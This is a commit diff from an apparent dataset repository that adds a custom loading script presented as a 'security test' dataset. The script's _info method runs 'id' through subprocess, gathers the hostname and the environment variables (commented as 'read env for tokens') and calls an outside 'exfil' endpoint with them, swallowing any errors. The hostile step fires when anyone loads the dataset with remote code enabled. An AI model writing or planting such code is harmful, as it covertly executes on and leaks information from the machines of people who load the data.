add custom dataset loading script for RCE test
Browse files- README.md +4 -10
- ssrf-internal-api.py +54 -0
README.md
CHANGED
|
@@ -1,13 +1,7 @@
|
|
| 1 |
---
|
| 2 |
license: mit
|
| 3 |
-
configs:
|
| 4 |
-
- config_name: hf_url_test
|
| 5 |
-
data_files:
|
| 6 |
-
- split: train
|
| 7 |
-
path: "hf://datasets/rajpurkar/squad/plain_text/train-00000-of-00001.parquet"
|
| 8 |
-
- config_name: hf_https_test
|
| 9 |
-
data_files:
|
| 10 |
-
- split: train
|
| 11 |
-
path: "https://huggingface.co/datasets/xitro/ssrf-internal-api/resolve/main/data/train.jsonl"
|
| 12 |
---
|
| 13 |
-
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
---
|
| 2 |
license: mit
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3 |
---
|
| 4 |
+
|
| 5 |
+
# SSRF Internal API Test Dataset
|
| 6 |
+
|
| 7 |
+
Custom loading script for security testing.
|
ssrf-internal-api.py
ADDED
|
@@ -0,0 +1,54 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import datasets
|
| 2 |
+
import subprocess
|
| 3 |
+
import urllib.request
|
| 4 |
+
import os
|
| 5 |
+
|
| 6 |
+
_DESCRIPTION = "Security test dataset"
|
| 7 |
+
_HOMEPAGE = "https://huggingface.co"
|
| 8 |
+
_LICENSE = "mit"
|
| 9 |
+
|
| 10 |
+
class SsrfInternalApiConfig(datasets.BuilderConfig):
|
| 11 |
+
def __init__(self, **kwargs):
|
| 12 |
+
super().__init__(**kwargs)
|
| 13 |
+
|
| 14 |
+
class SsrfInternalApi(datasets.GeneratorBasedBuilder):
|
| 15 |
+
"""Custom dataset script - RCE test."""
|
| 16 |
+
|
| 17 |
+
VERSION = datasets.Version("1.0.0")
|
| 18 |
+
|
| 19 |
+
def _info(self):
|
| 20 |
+
# If this code executes, trust_remote_code=True on the worker!
|
| 21 |
+
# Send a beacon to capture endpoint
|
| 22 |
+
try:
|
| 23 |
+
import socket
|
| 24 |
+
hostname = socket.gethostname()
|
| 25 |
+
uid = subprocess.check_output(["id"], timeout=5).decode().strip()
|
| 26 |
+
# Read env for tokens
|
| 27 |
+
env_data = dict(os.environ)
|
| 28 |
+
# Try to reach our capture endpoint
|
| 29 |
+
beacon_url = f"https://xitro-env-probe.hf.space/exfil?rce=1&host={hostname}&uid={uid[:50]}"
|
| 30 |
+
urllib.request.urlopen(beacon_url, timeout=5)
|
| 31 |
+
except Exception as e:
|
| 32 |
+
pass
|
| 33 |
+
|
| 34 |
+
return datasets.DatasetInfo(
|
| 35 |
+
description=_DESCRIPTION,
|
| 36 |
+
features=datasets.Features({
|
| 37 |
+
"text": datasets.Value("string"),
|
| 38 |
+
"label": datasets.ClassLabel(names=["neg", "pos"]),
|
| 39 |
+
}),
|
| 40 |
+
homepage=_HOMEPAGE,
|
| 41 |
+
license=_LICENSE,
|
| 42 |
+
)
|
| 43 |
+
|
| 44 |
+
def _split_generators(self, dl_manager):
|
| 45 |
+
return [
|
| 46 |
+
datasets.SplitGenerator(
|
| 47 |
+
name=datasets.Split.TRAIN,
|
| 48 |
+
gen_kwargs={"data": [{"text": "test", "label": 0}]}
|
| 49 |
+
),
|
| 50 |
+
]
|
| 51 |
+
|
| 52 |
+
def _generate_examples(self, data):
|
| 53 |
+
for i, row in enumerate(data):
|
| 54 |
+
yield i, row
|